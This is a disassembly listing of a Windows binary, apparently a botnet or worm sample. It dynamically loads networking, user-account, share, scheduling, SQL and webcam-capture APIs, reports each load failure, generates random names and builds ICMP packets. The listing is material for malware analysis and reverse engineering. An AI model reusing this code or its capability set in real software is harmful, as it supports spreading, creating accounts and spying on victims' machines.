		call	near ptr 2690A97h
		mov	dword_4D0908, eax


loc_40A2E7:				; CODE XREF: sub_409B12+6BEj
					; sub_409B12+6CAj ...
		mov	dword_4D0904, 1


loc_40A2F1:				; CODE XREF: sub_409B12+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A3F6
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4D0760, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4D06E8, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4D07EC, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4D0798, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4D07F8, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4D07BC, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4D0728, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4D0720, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4D0730, eax
		call	esi
		cmp	dword_4D0760, ebx
		mov	ecx, dword_4D07BC
		mov	dword_4D0858, eax
		jz	short loc_40A3D2
		cmp	dword_4D06E8, ebx
		jz	short loc_40A3D2
		cmp	dword_4D07EC, ebx
		jz	short loc_40A3D2
		cmp	dword_4D0798, ebx
		jz	short loc_40A3D2
		cmp	dword_4D07F8, ebx
		jz	short loc_40A3D2
		cmp	ecx, ebx
		jz	short loc_40A3D2
		cmp	dword_4D0728, ebx
		jz	short loc_40A3D2
		cmp	dword_4D0720, ebx
		jz	short loc_40A3D2
		cmp	dword_4D0730, ebx
		jz	short loc_40A3D2
		cmp	eax, ebx
		jnz	short loc_40A3DC


loc_40A3D2:				; CODE XREF: sub_409B12+87Ej
					; sub_409B12+886j ...
		mov	dword_4D090C, 1


loc_40A3DC:				; CODE XREF: sub_409B12+8BEj
		cmp	ecx, ebx
		jz	short loc_40A411
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4D07D4, eax
		jnz	short loc_40A411
		jmp	short loc_40A40B
; ---------------------------------------------------------------------------


loc_40A3F6:				; CODE XREF: sub_409B12+7EAj
		nop
		call	near ptr 2690A97h
		mov	dword_4D0910, eax
		mov	dword_4D090C, 1


loc_40A40B:				; CODE XREF: sub_409B12+8E2j
		mov	dword_4D07D4, ebx


loc_40A411:				; CODE XREF: sub_409B12+8CCj
					; sub_409B12+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A45B
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4D07AC, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4D08DC, eax
		call	esi
		cmp	dword_4D07AC, ebx
		mov	dword_4D073C, eax
		jz	short loc_40A466
		cmp	dword_4D08DC, ebx
		jz	short loc_40A466
		cmp	eax, ebx
		jnz	short loc_40A470
		jmp	short loc_40A466
; ---------------------------------------------------------------------------


loc_40A45B:				; CODE XREF: sub_409B12+90Aj
		call	near ptr 2690A97h
		nop
		mov	dword_4D0918, eax


loc_40A466:				; CODE XREF: sub_409B12+939j
					; sub_409B12+941j ...
		mov	dword_4D0914, 1


loc_40A470:				; CODE XREF: sub_409B12+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A577
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4D0718, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4D06F0, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4D0768, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4D079C, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4D08B4, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4D0750, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4D06FC, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4D06EC, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4D0784, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4D087C, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4D0834, eax
		call	esi
		cmp	dword_4D0718, ebx
		mov	dword_4D0758, eax
		jz	short loc_40A582
		cmp	dword_4D06F0, ebx
		jz	short loc_40A582
		cmp	dword_4D0768, ebx
		jz	short loc_40A582
		cmp	dword_4D079C, ebx
		jz	short loc_40A582
		cmp	dword_4D08B4, ebx
		jz	short loc_40A582
		cmp	dword_4D0750, ebx
		jz	short loc_40A582
		cmp	dword_4D06FC, ebx
		jz	short loc_40A582
		cmp	dword_4D06EC, ebx
		jz	short loc_40A582
		cmp	dword_4D0784, ebx
		jz	short loc_40A582
		cmp	dword_4D087C, ebx
		jz	short loc_40A582
		cmp	dword_4D0834, ebx
		jnz	short loc_40A58C
		jmp	short loc_40A582
; ---------------------------------------------------------------------------


loc_40A577:				; CODE XREF: sub_409B12+969j
		nop
		call	near ptr 2690A97h
		mov	dword_4D0920, eax


loc_40A582:				; CODE XREF: sub_409B12+A11j
					; sub_409B12+A19j ...
		mov	dword_4D091C, 1


loc_40A58C:				; CODE XREF: sub_409B12+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5C1
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4D0740, eax
		call	esi
		cmp	dword_4D0740, ebx
		mov	dword_4D081C, eax
		jz	short loc_40A5CC
		cmp	eax, ebx
		jnz	short loc_40A5D6
		jmp	short loc_40A5CC
; ---------------------------------------------------------------------------


loc_40A5C1:				; CODE XREF: sub_409B12+A85j
		call	near ptr 2690A97h
		nop
		mov	dword_4D0928, eax


loc_40A5CC:				; CODE XREF: sub_409B12+AA7j
					; sub_409B12+AADj
		mov	dword_4D0924, 1


loc_40A5D6:				; CODE XREF: sub_409B12+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A60B
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4D08A0, eax
		call	esi
		cmp	dword_4D08A0, ebx
		mov	dword_4D089C, eax
		jz	short loc_40A616
		cmp	eax, ebx
		jnz	short loc_40A620
		jmp	short loc_40A616
; ---------------------------------------------------------------------------


loc_40A60B:				; CODE XREF: sub_409B12+ACFj
		nop
		call	near ptr 2690A97h
		mov	dword_4D0930, eax


loc_40A616:				; CODE XREF: sub_409B12+AF1j
					; sub_409B12+AF7j
		mov	dword_4D092C, 1


loc_40A620:				; CODE XREF: sub_409B12+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A67F
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4D08CC, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4D08C4, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4D088C, eax
		call	esi
		cmp	dword_4D08CC, ebx
		mov	dword_4D075C, eax
		jz	short loc_40A68A
		cmp	dword_4D08C4, ebx
		jz	short loc_40A68A
		cmp	dword_4D088C, ebx
		jz	short loc_40A68A
		cmp	eax, ebx
		jnz	short loc_40A694
		jmp	short loc_40A68A
; ---------------------------------------------------------------------------


loc_40A67F:				; CODE XREF: sub_409B12+B19j
		nop
		call	near ptr 2690A97h
		mov	dword_4D0938, eax


loc_40A68A:				; CODE XREF: sub_409B12+B55j
					; sub_409B12+B5Dj ...
		mov	dword_4D0934, 1


loc_40A694:				; CODE XREF: sub_409B12+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6C9
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4D0790, eax
		call	esi
		cmp	dword_4D0790, ebx
		mov	dword_4D0898, eax
		jz	short loc_40A6D4
		cmp	eax, ebx
		jnz	short loc_40A6DE
		jmp	short loc_40A6D4
; ---------------------------------------------------------------------------


loc_40A6C9:				; CODE XREF: sub_409B12+B8Dj
		call	near ptr 2690A97h
		nop
		mov	dword_4D0940, eax


loc_40A6D4:				; CODE XREF: sub_409B12+BAFj
					; sub_409B12+BB5j
		mov	dword_4D093C, 1


loc_40A6DE:				; CODE XREF: sub_409B12+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A767
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4D0860, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4D08AC, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4D07E8, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4D07A0, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4D0840, eax
		call	esi
		cmp	dword_4D0860, ebx
		mov	dword_4D07B0, eax
		jz	short loc_40A772
		cmp	dword_4D08AC, ebx
		jz	short loc_40A772
		cmp	dword_4D07E8, ebx
		jz	short loc_40A772
		cmp	dword_4D07A0, ebx
		jz	short loc_40A772
		cmp	dword_4D0840, ebx
		jz	short loc_40A772
		cmp	eax, ebx
		jnz	short loc_40A77C
		jmp	short loc_40A772
; ---------------------------------------------------------------------------


loc_40A767:				; CODE XREF: sub_409B12+BD7j
		nop
		call	near ptr 2690A97h
		mov	dword_4D0948, eax


loc_40A772:				; CODE XREF: sub_409B12+C2Dj
					; sub_409B12+C35j ...
		mov	dword_4D0944, 1


loc_40A77C:				; CODE XREF: sub_409B12+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A7B1
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4D0774, eax
		call	esi
		cmp	dword_4D0774, ebx
		mov	dword_4D0854, eax
		jz	short loc_40A7BC
		cmp	eax, ebx
		jnz	short loc_40A7C6
		jmp	short loc_40A7BC
; ---------------------------------------------------------------------------


loc_40A7B1:				; CODE XREF: sub_409B12+C75j
		nop
		call	near ptr 2690A97h
		mov	dword_4D0950, eax


loc_40A7BC:				; CODE XREF: sub_409B12+C97j
					; sub_409B12+C9Dj
		mov	dword_4D094C, 1


loc_40A7C6:				; CODE XREF: sub_409B12+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409B12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7CE	proc near		; CODE XREF: sub_401ACD+2536p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4D08E4, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A816
		push	dword_4D08E8
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A816:				; CODE XREF: sub_40A7CE+1Aj
		cmp	dword_4D08EC, esi
		jz	short loc_40A84A
		push	dword_4D08F0
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A84A:				; CODE XREF: sub_40A7CE+4Ej
		cmp	dword_4D08F4, esi
		jz	short loc_40A87E
		push	dword_4D08F8
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A87E:				; CODE XREF: sub_40A7CE+82j
		cmp	dword_4D08FC, esi
		jz	short loc_40A8B2
		push	dword_4D0900
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A8B2:				; CODE XREF: sub_40A7CE+B6j
		cmp	dword_4D0904, esi
		jz	short loc_40A8E6
		push	dword_4D0908
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A8E6:				; CODE XREF: sub_40A7CE+EAj
		cmp	dword_4D090C, esi
		jz	short loc_40A91A
		push	dword_4D0910
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A91A:				; CODE XREF: sub_40A7CE+11Ej
		cmp	dword_4D0914, esi
		jz	short loc_40A94E
		push	dword_4D0918
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A94E:				; CODE XREF: sub_40A7CE+152j
		cmp	dword_4D091C, esi
		jz	short loc_40A982
		push	dword_4D0920
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A982:				; CODE XREF: sub_40A7CE+186j
		cmp	dword_4D0924, esi
		jz	short loc_40A9B6
		push	dword_4D0928
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A9B6:				; CODE XREF: sub_40A7CE+1BAj
		cmp	dword_4D092C, esi
		jz	short loc_40A9EA
		push	dword_4D0930
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A9EA:				; CODE XREF: sub_40A7CE+1EEj
		cmp	dword_4D0934, esi
		jz	short loc_40AA1E
		push	dword_4D0938
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AA1E:				; CODE XREF: sub_40A7CE+222j
		cmp	dword_4D093C, esi
		jz	short loc_40AA52
		push	dword_4D0940
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AA52:				; CODE XREF: sub_40A7CE+256j
		cmp	dword_4D0944, esi
		jz	short loc_40AA86
		push	dword_4D0948
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AA86:				; CODE XREF: sub_40A7CE+28Aj
		cmp	dword_4D094C, esi
		jz	short loc_40AABA
		push	dword_4D0950
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AABA:				; CODE XREF: sub_40A7CE+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_432C30
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40AAE7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_40AAE7:				; CODE XREF: sub_40A7CE+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAF9	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5C95p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4D0864
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AB21
		push	[esp+arg_0]
		call	dword_4D08A8
		test	eax, eax
		jnz	short loc_40AB1A
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40AB1A:				; CODE XREF: sub_40AAF9+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AB21:				; CODE XREF: sub_40AAF9+Dj
		retn
sub_40AAF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB22	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4D0740
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AB30
		call	ecx

locret_40AB30:				; CODE XREF: sub_40AB22+Aj
		retn
sub_40AB22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB31	proc near		; CODE XREF: sub_401ACD:loc_403F5Dp

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4D08A0
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40ABF7
		sub	ecx, 32h
		jz	loc_40ABF0
		sub	ecx, 48h
		jz	short loc_40AB91
		sub	ecx, 6Eh
		jz	short loc_40AB8A


loc_40AB73:				; CODE XREF: sub_40AB31+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_432E44
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40ABD1
; ---------------------------------------------------------------------------


loc_40AB8A:				; CODE XREF: sub_40AB31+40j
		push	offset unk_432E20
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------


loc_40AB91:				; CODE XREF: sub_40AB31+3Bj
		push	[ebp+var_8]
		call	sub_41B4D5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41B590
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40ABBE
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4D08A0
		cmp	eax, edi
		jz	short loc_40ABF7
		jmp	short loc_40AB73
; ---------------------------------------------------------------------------


loc_40ABBE:				; CODE XREF: sub_40AB31+79j
		push	offset unk_432DF0


loc_40ABC3:				; CODE XREF: sub_40AB31+5Ej
					; sub_40AB31+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40ABD1:				; CODE XREF: sub_40AB31+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40ABE1:				; CODE XREF: sub_40AB31+C8j
					; sub_40AB31+DCj
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40ABF0:				; CODE XREF: sub_40AB31+32j
		push	offset unk_432DC0
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------


loc_40ABF7:				; CODE XREF: sub_40AB31+29j
					; sub_40AB31+89j
		cmp	[esi], edi
		jbe	short loc_40ABE1
		lea	ebx, [esi+4]


loc_40ABFE:				; CODE XREF: sub_40AB31+DAj
		push	ebx
		call	dword_4D089C
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40ABFE
		jmp	short loc_40ABE1
sub_40AB31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC0F	proc near		; CODE XREF: sub_401ACD+2247p
					; sub_401ACD+2398p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4D07C8
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4D0954
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41B886
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AC0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC68	proc near		; CODE XREF: sub_412B08+24Cp
					; sub_412B08+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AC91
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AC84:				; CODE XREF: sub_40AC68+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AC84
		pop	edi
		jmp	short loc_40AC95
; ---------------------------------------------------------------------------


loc_40AC91:				; CODE XREF: sub_40AC68+Aj
		mov	edx, [esp+4+arg_0]


loc_40AC95:				; CODE XREF: sub_40AC68+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AC9F
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40AC9F:				; CODE XREF: sub_40AC68+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AC68	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ACB5	proc near		; CODE XREF: sub_40B08D+49p
					; DATA XREF: ___:off_432E90o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		nop
		call	near ptr 26A0B14h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_432EF8[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD1D


loc_40ACF7:				; CODE XREF: sub_40ACB5+66j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_430DA4
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACF7


loc_40AD1D:				; CODE XREF: sub_40ACB5+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40ACB5	endp

; ---------------------------------------------------------------------------
		dw 5756h
		dd 295DEBE8h, 0E8509002h, 10BA8h, 10247C8Bh, 382404C7h
		dd 68004291h, 43222Ch, 0E8571C6Ah, 10C38h, 0C483F633h
		dd 98353910h, 7E004290h, 0B88E826h, 0A6A0001h, 0F9F75999h
		dd 0A4685752h, 6A00430Dh, 11E8571Ch, 8300010Ch,	3B4614C4h
		dd 42909835h, 8BDA7C00h, 0C35E5FC7h

; =============== S U B	R O U T	I N E =======================================



sub_40AD80	proc near		; CODE XREF: sub_401ACD+69CCp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 26A0B14h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ADC3


loc_40ADAD:				; CODE XREF: sub_40AD80+41j
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ADAD


loc_40ADC3:				; CODE XREF: sub_40AD80+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AD80	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	near ptr 26A0B14h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_436B50
		push	eax
		push	esi
		nop
		call	near ptr 26D0000h
		movsx	eax, byte_436B50
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40AE09:				; CODE XREF: ___:0040AE14j
		cmp	eax, ecx
		jnz	short loc_40AE10
		mov	[ebp-4], edx


loc_40AE10:				; CODE XREF: ___:0040AE0Bj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AE09
		push	61h
		pop	ecx


loc_40AE19:				; CODE XREF: ___:0040AE24j
		cmp	eax, ecx
		jnz	short loc_40AE20
		mov	[ebp-4], edx


loc_40AE20:				; CODE XREF: ___:0040AE1Bj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AE19
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AE65


loc_40AE3F:				; CODE XREF: ___:0040AE63j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_430DA4
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AE3F


